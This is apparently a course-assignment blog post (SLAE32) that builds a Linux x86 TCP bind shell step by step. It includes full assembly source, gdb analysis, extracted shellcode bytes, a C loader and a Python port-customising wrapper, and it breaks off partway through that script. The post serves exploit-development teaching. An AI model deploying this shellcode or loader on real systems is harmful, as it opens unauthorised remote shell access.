SLAE32 Assignment #1: Linux x86 TCP Bind Shell

In this blog post, we will be covering the process behind writing and analysing an x86 TCP bind shell for Linux in assembly.

This post will be the first in a series of posts created for the SLAE32 certification course provided by Pentester Academy.


Overview

The code for the TCP bind shell will consist of the following components:

  • Linux x86 TCP bind shell shellcode, written in Assembly.
  • Shellcode skeleton code, written in C.
  • Wrapper script for customising the listener port, written in Python.

We will begin by analysing a simple example of a Linux x86 TCP bind shell written in C, from the following blog post:

#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 

int host_sockid;    // socket file descriptor 
int client_sockid;  // client file descriptor 

struct sockaddr_in hostaddr;            // server aka listen address

int main() 
{ 
    // Create new TCP socket 
    host_sockid = socket(PF_INET, SOCK_STREAM, 0); 

    // Initialize sockaddr struct to bind socket using it 
    hostaddr.sin_family = AF_INET;                  // server socket type address family = internet protocol address
    hostaddr.sin_port = htons(4444);                // server port, converted to network byte order
    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   // listen to any address, converted to network byte order

    // Bind socket to IP/Port in sockaddr struct 
    bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr)); 

    // Listen for incoming connections 
    listen(host_sockid, 2); 

    // Accept incoming connection 
    client_sockid = accept(host_sockid, NULL, NULL); 

    // Duplicate file descriptors for STDIN, STDOUT and STDERR 
    dup2(client_sockid, 0); 
    dup2(client_sockid, 1); 
    dup2(client_sockid, 2); 

    // Execute /bin/sh 
    execve("/bin/sh", NULL, NULL); 
    close(host_sockid); 

    return 0; 
}

We compile the code with gcc:

gcc -fno-stack-protector -z execstack example.c -o example

To make sure the code does what we expect, we briefly run it and connect to our local machine, on port 4444:

We connect to the port and note that we are able to perform typical /bin/sh commands.


TCP bind shell syscalls

Analysing the C code, we identify four main syscalls that are performed to initiate a TCP bind shell. The syscalls are:

  • socket()
  • bind()
  • listen()
  • accept()
  • dup2()
  • execve()

We will cover each of these syscalls by studying their arguments and calling conventions, beginning with an analysis of the call to socket() in assembly.


Creating a socket

The socket() call is used to create an endpoint for communication. A successful call to socket() returns a file descriptor which refers to the created socket endpoint.

According to the system call reference file stored in 32-bit Linux at /usr/include/i386-linux-gnu/asm/unistd_32.sh, the syscall number for socketcall is 102.

If we look at the man page for socketcall, we note that the syscall takes two parameters and has the following function header:

int socketcall(int call, unsigned long *args);
SyscallArgumentMan Reference
socketcallcallDetermines which socket function to invoke
socketcallargsPoints to a block containing the actual arguments

First, we look at the call parameter. The implementation of sockets in linux can be found in the /usr/include/linux/net.h header file.

Within this file, we find that to call the socket function, the call argument must have a value of 1.

To understand further how a socket is defined, we can refer to its man page:

According to the above manpage entry, the socket function header is as follows:

int socket(int domain, int type, int protocol);

socket() arguments

Next, we look at each of the parameters to the socket() function.

domain

The domain argument denotes the protocol family which will be used for communication. In our case, as we are looking to establish a connection over the IPv4 protocol, this value will be set to AF_INET.

We can find the corresponding numerical value of AF_INET in locally stored header files. For the version of 32-bit Kali Linux we are working with, the reference to AF_INET can be located in /usr/include/i386-linux-gnu/bits/socket.h.


type

The next argument is the type of socket. As we are setting up bind shell over TCP, we should use the SOCK_STREAM option, which is defined as being 'sequenced, reliable and connection-based' (i.e., suited to TCP).

Based on its definition in /usr/include/i386-linux-gnu/bits/socket_type.h, type should be set to 1.


protocol

The final argument, protocol can be set to its default value of 0.

Based on the description given in the manual page, normally only a single protocol provides support a particular socket type. Therefore setting protocol to 0 sets the protocol to the default value based on SOCK_STREAM.


socket() argument structure

A breakdown of the arguments to socket() is as follows:

SyscallArgumentMan ReferenceC Code Reference
socketdomainThe protocol family which will be used for communicationPF_INET
sockettypeSpecifies the communication semanticsSOCK_STREAM
socketprotocolSpecifies a particular protocol to be used with the socket0

Now that we know the initial values to create a socket, we can implement this in assembly.


Calling socket()

By default, a syscall in 32-bit Linux will use the registers as follows:

  • EAX - Syscall Number
  • EBX - 1st Argument
  • ECX - 2nd Argument
  • EDX - 3rd Argument
  • ESI - 4th Argument
  • EDI - 5th Argument

In case of our system call to socketcall(), our register values will be set as follows:

  • EAX - system call number (102)
  • EBX - call - socket (1)
  • ECX - *args - a pointer to the domain, type and arguments

As ECX must contain a pointer to our socket() arguments, we will first push them onto the stack in reverse order, and set ECX to point to the top of the stack where the arguments start:

  • domain - PF_INET - 2
  • type - SOCK_STREAM - 1
  • protocol - default - 0

The overall argument structure for calling socket will follow the below layout.

Note: decimal values have been converted into their hexadecimal equivalents, e.g. the syscall value 102 = 0x66.

SyscallArgumentValue
socketcallsyscall0x66
socketcallcall0x1
socketdomain0x2
sockettype0x1
socketprotocol0x0

socket() assembly code

The assembly code for the socket() function is as follows:

_socket:

        ; Clear EAX register and set al to syscall number 102 in hex.
        xor eax, eax
        mov al, 0x66 

        ; Clear EBX register and set bl to 0x1 for socket.
        xor ebx, ebx
        mov bl, 0x1

        ; Clear ECX register and push values for protocol, type and domain to the stack
        xor ecx, ecx
        push ecx;       protocol - 0 (0x00000000)
        push 0x1;       type - 1 (0x1)
        push 0x2;       domain - PF_INET (0x2)

        ; set ECX to the top of the stack to point to args
        mov ecx, esp

        ; Execute socket() syscall
        int 0x80

We can now link and compile the program using nasm and ld as follows:


socket() analysis

To understand the assembly code on a per-instruction basis and debug the compiled program, we can use gdb.

As we step through the program, it helps to print out the registers, stack and disassembled instructions to keep track of where we are in the program. We can do this by defining hook-stop:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049000
>end

Now, every time we step through the program, the values of our specified registers are printed along with the top four stack values and the disassembled assembly instructions.

We can trace the program flow right up until the syscall to socket() is made, so that we ensure that the arguments are aligned correctly in the required registers and on the stack.

We reach the end of the function and find that EAX has been populated with the value of the socket descriptor, 0x3. This indicates a successful call to socket().


Binding the socket

Now, we look at binding the socket to a chosen address, port and protocol family.

The bind() function is used to assign a name to a given socket. When a socket is created, it initially has no address assigned to it. The bind() function is designed to assign an address to the socket which it does using its file descriptor.

The bind() function has the following function header:

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Before we get into the arguments for the bind function, we note that the call argument of socketcall() will now be set to the value for bind().

We look at the /usr/include/linux/net.h file and note that bind has a call value of 2.


bind() arguments

Next, we look at each of the parameters to the bind() function.

sockfd

The sockfd parameter is the file descriptor of the socket. This value was returned following a successful call to the socket() function and, following the syscall, is stored in the EAX register.


addr

The addr parameter is a pointer to the desired family, port and address properties of our socket.

The structure of addr is loosely defined in the bind() manual entry.

Referring to the C example source code, we note that the sockaddr structure is referenced by the hostaddr value.

// Initialize sockaddr struct to bind socket using it 
    hostaddr.sin_family = AF_INET;                  // server socket type address family = internet protocol address
    hostaddr.sin_port = htons(4444);                // server port, converted to network byte order
    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   // listen to any address, converted to network byte order

// Bind socket to IP/Port in sockaddr struct 
    bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));

Based on the C source code, the sockaddr_in structure has three properties:

  • sin_family - Address family
  • sin_port - TCP port
  • sin_address - IPv4 address

For the purpose of initially simplifying our shellcode, we will set the port value to 4444, with the address set to listen across all interfaces as denoted by INADDR_ANY.


addrlen

The addrlen value specifies the size of the address structure pointed to by addr in bytes. This will be 16 (0x10).


bind() argument structure

A breakdown of the arguments to bind() is as follows:

SyscallArgumentMan ReferenceC Code Reference
socketcallcallSyscall number-
socketcallargsSyscall arguments-
bindsockfdSocket file descriptorhost_sockid
bindaddrSocket address family, host IP address and port&hostaddr
bindaddrlenSize in bytes of addrsizeof(hostaddr)

Additionally, the values pointed to by addr (sockaddr_in) are as follows:

StructArgumentMan ReferenceValue
sockaddr_insin_familyAddress family0x2
sockaddr_insin_portTCP port to listen on in network byte order0x5c11
sockaddr_insin_addrHost IP address in network byte order0x00000000

Now that we know the initial values to bind the socket, we can implement it in assembly.


Calling bind()

In case of our system call to socketcall():

  • EAX - system call number (102)
  • EBX - call argument - bind (2)
  • ECX - *args - bind arguments

To begin, we must push the elements of the sockaddr_in structure to the stack in reverse order, starting with sin_addr.

  • sockfd - Stored in EAX after call to socket(). We will save this value by moving it to the EDX register.
  • addr - We will store this value in the ESI register.
    • sin_family - AF_INET (2)
    • sin_port - 4444 (0x5c11)
    • sin_addr - INADDR_ANY (0x00000000)
  • addrlen = 16 (0x10)

The overall argument structure for calling bind() will be as follows:

SyscallargumentDescriptionValue
socketcallsyscallSyscall value for socketcall0x66
socketcallcallSocketcall value for bind0x2
bindsockfdSocket file descriptor0x3
bindaddrPointer to sockaddr_in structure2, 0x5c11, NULL
bindaddrlenLength of addr in bytes0x10

bind() assembly code

The assembly code for the bind() function is as follows:

_bind:

        ; Clear and set EDX to socket file descriptor returned by socket()
        xor edx, edx
        mov edx, eax

        ; Clear EAX register and set al to syscall number 102 in hex.
        xor eax, eax
        mov al, 0x66

        ; Clear EBX register and set bl to 0x2 for bind()
        mov bl, 0x2

        ; Push sockaddr arguments for call to bind()
        xor ecx, ecx
        push ecx;               sin_addr - INADDR_ANY (0x00000000)
        push word 0x5c11;       sin_port - 4444 (0x5c11)
        push word 0x2;          sin_family - AF_INET (2)

        ; Save pointer to sockaddr to ESI register 
        mov esi, esp

        push 0x10;              addrlen - 16 (0x10)
        push esi;               addr
        push edx;               sockfd

        ; Set ECX to the top of the stack to point to args
        mov ecx, esp;

        ; Execute bind() syscall
        int 0x80

bind() analysis

We can now step through our implementation of bind() using gdb.

We once again define hook-stop for the scope of the bind() assembly code:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049013
>end

As we step through, we note that the instructions save the socket file descriptor to EDX as intended:

The syscall is set up for the call to bind(), having moved 0x2 to the bl register:

The values for the listening address, port and protocol family are pushed to the stack:

The ESP value is moved to the ECX register, so that ECX is pointing to the addr values as per the function arguments for bind().

After the syscall is made, the value 0x0 is moved into EAX, indicating that the call was successful.

Next, we look at the listen and accept syscalls.


Listening for connections

Now, we look at the call to the listen() function, which is used to listen for connections on the created socket.

The listen() function has the following function header:

int listen(int sockfd, int backlog);

Querying the socketcall documentation in net.h, we note that the socketcall number for listen() has a value of 4.


listen() arguments

Next, we look at each of the parameters to the listen() function.

sockfd

The sockfd argument is a file descriptor that refers to the socket we are going to listen on.

This value can be set to the file descriptor of the previously established socket. Following the previous call to bind(), the socket descriptor was saved to the EDX register.


backlog

The backlog argument refers to the maximum number of pending connections for the socket.

In case a connection request is made when this number is exceeded, the client will receive an ECONNREFUSED response.


listen() argument structure

A breakdown of the arguments to listen() is as follows:

SyscallArgumentMan ReferenceC Code Reference
socketcallcallSyscall number-
socketcallargsArguments-
listensockfdSocket file descriptorhost_sockid
listenbacklogMaximum number of socket connections2

Now that we know the initial values to set up the listener, we can implement this in assembly.


Calling listen()

In case of our system call to socketcall():

  • EAX - system call number (102)
  • EBX - call argument - listen (4)
  • ECX - *args - listen arguments

To begin, we must push the values of backlog and sockfd to the stack in reverse order.

  • sockfd - stored in EDX after call to bind(). We will push this value to the stack for use with listen()
  • backlog - arbitrary, we set this to 2 (0x2).

The overall argument structure for calling listen() will be as follows:

SyscallargumentDescriptionValue
socketcallsyscallSyscall value for socketcall0x66
socketcallcallSocketcall value for listen0x4
listensockfdSocket file descriptor0x3
listenbacklogMaximum number of pending connections0x2

listen() assembly code

The assembly code for the listen() function is as follows:

_listen:

        ; Clear EAX regster and set al to syscall number 102 in hex.
        mov al, 0x66

        ; Clear EBX register and set bl to 0x4 for listen()
        mov bl, 0x4

        ; Push arguments to stack for call to listen()
        push byte 0x2
        push edx

        ; set ECX to the top of the stack to point to args
        mov ecx, esp

        ; Execute listen() syscall
        int 0x80

listen() analysis

We can now step through our implementation of listen() using gdb.

Defining hook-stop for the scope of the listen() assembly code:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049031
>end

The syscall is set up for the call to listen(), having moved 0x4 to the bl register:

The values for the backlog and socket descriptor are pushed to the stack, where ECX will point to them.

The ESP value is moved to the ECX register, so that ECX is pointing to the correct values as per the function arguments for listen().

We note that the value of the EAX register, which stores the return value is 0, indicating a successful call to listen().

Next, we look at the accept syscall, which is the final parameter we need to implement the initial TCP bind connection.


Accepting a connection

Next, we look at the call to the accept() function, which is used to accept a connection request made by a client.

The accept() function has the following header:

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

Querying the socketcall documentation in net.h indicates that the socketcall for accept() has a value of 5.


accept() arguments

Next, we look at each of the parameters to the accept() function.


sockfd

The sockfd parameter is the file descriptor of the socket. This value was returned following a successful call to the listen() function and, following the syscall, is stored in the EDX register.


addr

The addr argument is a pointer to the sockaddr structure. This structure is populated by the operating system with the address of the connecting socket. This means it does not need to be specified by the programmer.


addrlen

The addrlen argument is a pointer to the size of addr. This value is also populated by the OS so will not be provided by the programmer.


accept() argument structure

A breakdown of the arguments to accept() is as follows:

SyscallArgumentMan ReferenceC Code Reference
socketcallcallSyscall number-
socketcallargsArguments-
acceptsockfdSocket file descriptorhost_sockid
acceptaddrSocket address family, host IP address and portNULL
acceptaddrlenSize in bytes of addrNULL

Now that we know the initial values to accept connections, we can implement this in assembly.


Calling accept()

In case of our system call to socketcall():

  • EAX - system call number (102)
  • EBX - call argument - accept (5)
  • ECX - *args - accept arguments

To begin, we must push the values of addrlen, addr and sockfd to the stack in reverse order. The values of addrlen and addr will be NULL.

  • sockfd - stored in EDX after call to listen(). We will push this value to the stack to be used once again.
  • addr - NULL
  • addrlen - NULL

The overall argument structure for calling accept() will be as follows:

SyscallArgumentDescriptionValue
socketcallsyscallSyscall value for socketcall0x66
socketcallcallSocketcall value for accept0x5
acceptsockfdSocket file descriptor0x3
acceptaddrPointer to sockaddr_in structure0x0
acceptaddrlenLength of addr in bytes0x0

accept() assembly code

The assembly code for the accept() function is as follows:

_accept:

        ; Clear EAX register and set al to syscall number 102 in hex.
        mov al, 0x66

        ; Clear EBX register and set bl to 0x5 for accept()
        mov bl, 0x5

        ; Clear ECX and push arguments for call to accept()
        xor ecx, ecx
        push ecx;               addrlen - NULL
        push ecx;               addr - NULL
        push edx;               sockfd - stored in EDX

        ; Set ECX to stack for call to accept()
        mov ecx, esp

        ; Execute accept() syscall
        int 0x80

accept() analysis

We can now step through our implementation of accept() using gdb.

We once again define our hook-stop for the scope of the accept() assembly code:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x804903c
>end

The syscall is set up for the call to accept(), having moved 0x5 to the bl register:

The arguments to accept() are then pushed to the stack.

The ESP value is moved to the ECX register, so that ECX is pointing to the addr values as per the function arguments for accept().

This time when the syscall is made, the program appears to hang. This is because after the call to accept() the program awaits a connection from a client.

In a separate terminal, we can use netcat to connect to localhost on TCP port 4444.

nc localhost 4444

When we do this and check gdb again, we see that the program continues execution and finishes.

The EAX register containing the return value of the call to accept() is populated with the value 0x4, which corresponds to the socket descriptor for the connected client socket.


Making the shell interactive

Now that we have a working bind shell implementation in assembly, we next work on making it interactive.

The example C program does this by setting the file descriptors for the client socket to the STDIN, STDOUT and STDERR on the host system.

// Duplicate file descriptors for STDIN, STDOUT and STDERR 
    dup2(client_sockid, 0); 
    dup2(client_sockid, 1); 
    dup2(client_sockid, 2); 

The manual entry for this functionality is as follows:

The dup2() function, which is used by the C program has the following function header:

int dup2(int oldfd, int newfd);

To locate the syscall number for dup2(), we can query unistd_32.h and grep for the function name like so:

cat  /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2

#define __NR_dup2 63

We determine the syscall number of dup2() is 63, which in hex is 0x3F.


dup2() arguments

Next, we look at each of the parameters to the dup2() function.

oldfd

The oldfd argument is a file descriptor. In this case, we set it to the file descriptor of the established socket.

This value can be set to the file descriptor of the previously established socket. Following the call to accept(), the socket descriptor was saved to the EDX register.


newfd

The newfd argument is the file descriptor we are redirecting into the socket.

As we are aiming to redirect STDIN, STDOUT and STDERR to the socket connection, this value will be set to 0, 1 and 2 on each subsequent syscall.


dup2() argument structure

A breakdown of the arguments to dup2() is as follows:

SyscallArgumentMan ReferenceC Code Reference
dup2oldfdSocket file descriptorhost_sockid
dup2newfdNew file descriptor0, 1 and 2

Calling dup2()

In case of our system call to dup2():

  • EAX - system call number (63)
  • EBX - oldfd, which is the sockid returned by the call to accept()
  • ECX - newfd, which will iterate over 0, 1 and 2 for STDIN, STDOUT and STDERR

dup2() assembly code

The assembly code for the dup2() function is as follows:

_dup2:

        ; Push the EAX register containing the socket file descriptor returned from accept()
        push eax

        ; Clear EAX register and set al to syscall number 63 in hex.
        mov al, 0x3f
        pop ebx;                POP socket file descriptor into EBX for dup2 syscall
        xor ecx, ecx;           Clear ECX register for initial redirection of STDIN (0)
        int 0x80;               Execute dup2() syscall

        ; Set dup2() syscall for STDOUT
        mov al, 0x3f
        mov cl, 0x1
        int 0x80

        ; Set dup2() syscall for STDERR
        mov al, 0x3f
        mov cl, 0x2
        int 0x80

dup2() analysis

We can now step through our implementation of dup2() using gdb.

Defining hook-stop for the scope of the dup2() assembly code:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049049
>end

Note: We once again have to initiate a client connection in order to resume execution after the call to accept()

To begin, the value of EAX, which contains the connecting client socket descriptor is pushed to the stack.

As the syscall number for dup2() will need to occupy EAX, we initially pop the value of the client socket descriptor into the EBX register to save it:

We prep the EAX, EBX and ECX registers for the syscall to duplicate STDIN, set in ECX as the value 0x0:

We repeat the setup to perform the syscall for STDOUT, with ECX set to 0x1:

Finally we perform the syscall for STDERR, with ECX set to 0x2:

On each subsequent syscall, the EAX register returns the value of the new file descriptor (0 for STDIN, 1 for STDOUT, 2 for STDERR).


Getting a shell

Now that we have a working bind connection over TCP which performs proper I/O redirection, we can implement a shell.

Once the client connects to our waiting socket, the program needs to execute a shell program such as /bin/sh to spawn a shell.

To do this, we are going to use the execve() syscall.

As per the C shellcode, the execve() call is as follows:

// Execute /bin/sh 
execve("/bin/sh", NULL, NULL);

The manual entry for the execve functionality is as follows:

The execve function has the following function header:

int execve(const char *pathname, char *const argv[], char *const envp[]);

To locate the syscall number for execve(), we can again query the unistd_32.h file:

cat  /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve 
#define __NR_execve 11
#define __NR_execveat 358

We determine the syscall number of execve() is 11, which in hex is 0xb.


execve() arguments

Next, we look at each of the parameters to the execve() function.

pathname

The pathname argument is used to refer to the null-terminated file path of the program executed by execve().

This value is pushed to the stack in little-endian format. We will point this value to the filepath of /bin/sh.

To maintain stack alignment, we will push the string ''//bin/sh' which has a length of 8. In doing so, we can cleanly push this value to the stack in two instructions.


argv

The argv argument is an array of pointers to strings to be passed to the new program as command-line arguments.

In this case, as we are just looking to implement a call to /bin/sh, we will leave this as NULL.


envp

The envp argument is an array of pointers to strings to be passed as the environment of the new program.

Once again, as we are just looking to implement a call to /bin/sh, we can leave this as NULL.


execve() argument structure

A breakdown of the arguments to execve() is as follows:

SyscallArgumentMan ReferenceC Code Reference
execvecallSyscall number-
execvepathnameFilepath of the program to execute"/bin/sh"
execveargvCommand-line arguments of the programNULL
execveenvpEnvironment of the new programNULL

Calling execve()

In case of our system call to execve():

  • EAX - system call number (11)
  • EBX - pathname ("//bin/sh" in reverse)
  • ECX - argv (set to NULL)
  • EDX - envp (set to NULL)

Reversing the pathname

In order to abide by the little-endian format, we must push values in reverse order to the stack.

We can reverse the pathname and put it in little endian format using the below python code snippet.

#!/usr/bin/python

import sys

input = sys.argv[1]

print 'String length : ' +str(len(input))

stringList = [input[i:i+4] for i in range(0, len(input), 4)]

for item in stringList[::-1] :
    print item[::-1] + ' : ' + str(item[::-1].encode('hex'))

We can use this script to reverse the string "//bin/sh" and encode it in hex, so that we may include it in our assembly.

Note: as mentioned previously, we have prepended the pathname with an additional forward slash "/" to make the string length as 8. This allows us to push the string evenly and maintain stack alignment.

python2 reverse.py "//bin/sh"
String length : 8
hs/n : 68732f6e
ib// : 69622f2f

The output of the program gives us the two values we need to push to the stack, 0x68732f6e and 0x69622f2f.


execve() assembly code

The assembly code for the execve() function is as follows:

_execve:

        ; Clear EAX register and set al to syscall number 11 in hex.
        mov al, 0xb

        ; Push pathname string to the stack and set the EBX register to it
        xor ebx, ebx
        push ebx;                       NULL terminate the string
        push 0x68732f6e;                hs/n - 0x68732f6e
        push 0x69622f2f;                ib// - 0x69622f2f
        mov ebx, esp;

        ; Clear the ECX and EDX registers for argv and envp
        xor ecx, ecx
        xor edx, edx

        ; Execute execve() syscall
        int 0x80

execve() analysis

We can now step through our implementation of execve() using gdb.

Note: We once again have to initiate a client connection in order to resume execution after the call to accept()

The syscall is set up for the call to execve(), having moved 0xb to the bl register:

The null-terminated string value of '//bin/sh' is pushed to the stack in preparation for the call to execve():

The ESP value is moved to the EBX register, so that EBX is pointing to the null-terminated string used for the pathname argument:

The ECX and EDX registers are both cleared, as they are provided as the NULL argv and env arguments:

Finally, the syscall to execve() is made, and a call is made to the /bin/sh program:

We connect on the client side, and obtain a fully functioning bind shell.


Complete assembly code

The final assembly implementation of our TCP bind shell is as follows:

; bind_tcp_shell.nasm 
; Author: Jack McBride (PA-6483)
; Blog: https://jacklgmcbride.co.uk/blog
; 
; Purpose: SLAE32 exam assignment
;
; Assignment 1: x86 TCP Bind Shell

global _start

section .text

_start:
                        ; Linux x86 bind tcp shell
                        ; set up socket
                        ; set up bind
                        ; set up listen
                        ; set up accept

_socket:

        ; Clear EAX register and set al to syscall number 102 in hex.
        xor eax, eax
        mov al, 0x66 

        ; Clear EBX register and set bl to 0x1 for socket.
        xor ebx, ebx
        mov bl, 0x1

        ; Clear ECX register and push values for protocol, type and domain to the stack
        xor ecx, ecx
        push ecx;       protocol - 0 (0x00000000)
        push 0x1;       type - 1 (0x1)
        push 0x2;       domain - PF_INET (0x2)

        ; set ECX to the top of the stack to point to args
        mov ecx, esp

        ; Execute socket() syscall
        int 0x80

_bind:

        ; Clear and set EDX to socket file descriptor returned by socket()
        xor edx, edx
        mov edx, eax

        ; Clear EAX register and set al to syscall number 102 in hex.
        xor eax, eax
        mov al, 0x66

        ; Clear EBX register and set bl to 0x2 for bind()
        mov bl, 0x2

        ; Push sockaddr arguments for call to bind()
        xor ecx, ecx
        push ecx;               sin_addr - INADDR_ANY (0x00000000)
        push word 0x5c11;       sin_port - 4444 (0x5c11)
        push word 0x2;          sin_family - AF_INET (2)

        ; Save pointer to sockaddr to ESI register 
        mov esi, esp

        push 0x10;              addrlen - 16 (0x10)
        push esi;               addr
        push edx;               sockfd

        ; Set ECX to the top of the stack to point to args
        mov ecx, esp;

        ; Execute bind() syscall
        int 0x80

_listen:

        ; Clear EAX regster and set al to syscall number 102 in hex.
        mov al, 0x66

        ; Clear EBX register and set bl to 0x4 for listen()
        mov bl, 0x4

        ; Push arguments to stack for call to listen()
        push byte 0x2
        push edx

        ; set ECX to the top of the stack to point to args
        mov ecx, esp

        ; Execute listen() syscall
        int 0x80

_accept:

        ; Clear EAX register and set al to syscall number 102 in hex.
        mov al, 0x66

        ; Clear EBX register and set bl to 0x5 for accept()
        mov bl, 0x5

        ; Clear ECX and push arguments for call to accept()
        xor ecx, ecx
        push ecx;               addrlen - NULL
        push ecx;               addr - NULL
        push edx;               sockfd - stored in EDX

        ; Set ECX to stack for call to accept()
        mov ecx, esp

        ; Execute accept() syscall
        int 0x80

_dup2:

        ; Push the EAX register containing the socket file descriptor returned from accept()
        push eax

        ; Clear EAX register and set al to syscall number 63 in hex.
        mov al, 0x3f
        pop ebx;                  POP socket file descriptor into EBX for dup2 syscall
        xor ecx, ecx;           Clear ECX register for initial redirection of STDIN (0)
        int 0x80;                  Execute dup2() syscall

        ; Set dup2() syscall for STDOUT
        mov al, 0x3f
        mov cl, 0x1
        int 0x80

        ; Set dup2() syscall for STDERR
        mov al, 0x3f
        mov cl, 0x2
        int 0x80

_execve:

        ; Clear EAX register and set al to syscall number 11 in hex.
        mov al, 0xb

        ; Push pathname string to the stack and set the EBX register to it
        xor ebx, ebx
        push ebx;                           NULL terminate the string
        push 0x68732f6e;               hs/n - 0x68732f6e
        push 0x69622f2f;                ib// - 0x69622f2f
        mov ebx, esp;

        ; Clear the ECX and EDX registers for argv and envp
        xor ecx, ecx
        xor edx, edx

        ; Execute execve() syscall
        int 0x80

Assembly and linkage

We can assemble and link our TCP bind shell program as follows:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 1: TCP Bind Shell]
└─# nasm -f elf32 -o tcp_bind_shell.o tcp_bind_shell.nasm 

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 1: TCP Bind Shell]
└─# ld -o tcp_bind_shell tcp_bind_shell.o

Executing the shellcode

Next, we can extract the raw shellcode from our tcp_bind_shell binary and insert it into our C shellcode loader.

Our shellcode loader is a simple C program designed to print the length of our shellcode, and direct execution to it:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"SHELLCODE";

int main()
{
        printf("Shellcode Length: %dn", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

To obtain the raw shellcode bytes of our TCP bind shell, we use an excellent objdump one liner from CommandlineFu.

objdump -d ./tcp_bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x31\xc9\x51\x51\x52\x89\xe1\xcd\x80\x50\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

We embed our shellcode into the code variable of our C program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x31\xc9\x51\x51\x52\x89\xe1\xcd\x80\x50\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

int main()
{
        printf("Shellcode Length: %dn", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

Finally, we compile the our C program using gcc:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 1: TCP Bind Shell]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Finally, we can test the shellcode, confirming that we are able to connect to the bind shell on TCP port 4444.


Modifying the port

In most cases, the user wants to be able to choose which port they want the bind shell to be listening on.

To compensate for this, below is a Python wrapper script which takes a 'port' argument and modifies the tcp_bind_shell.nasm file to assemble the shellcode with this new value. The script then outputs the shellcode to the console and performs cleanup of the created artifacts.

import argparse
import sys
import os

def convert_to_hex(port):

        # Get hex value of port number
        val = hex(port)[2::]

        # If the length is not divisible by two e.g. if a three-digit
        # port such as 443 (0x1bb) is chosen, pad with an additional 0.
        if not len(val) % 2 == 0:
                val = "0" + val

        # Convert port to little endian format
        b = bytearray.fromhex(val)[::-1]
        port_le = ''.join(format(x, '02x') for x in b)

        return "0x" + port_le

def set_port(port):
        port = convert_to_hex(port)
        asm = open("tcp_bind_shell_x86.nasm", 'rt')
        data = asm.read()
        data = data.replace('PORT', port)
        asm.close()
        asm = open('tmp.nasm', 'wt')
        asm.write(data)
        asm.close()

def gen_shellcode():
        stream = os.popen("""objdump -d tcp_bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'""")
        shellcode = stream.read().rstrip()
        return shellcode

def print_shellcode(shellcode, port):
        print("[*] Generating shellcode for TCP bind shell on port %s" % port)
        print("[*] Shellcode length: %d bytes" % (len(shellcode.replace("\\x", "")) /2))
        print("[*] Checking for NULL bytes...\n%s" % ("[-] NULL bytes found." if "00" in shellcode else "[+] No NULL bytes detected!"))
        print(shellcode)

def main():

        parser = argparse.ArgumentParser(description='Generate x86 TCP bind shell shellcode.')
        parser.add_argument('-p', '--port', type=int, help='Local port for TCP bind shell to listen on.')

        args = parser.parse_args()
        if len(sys.argv) == 1:
                parser.print_help()
                sys.exit()

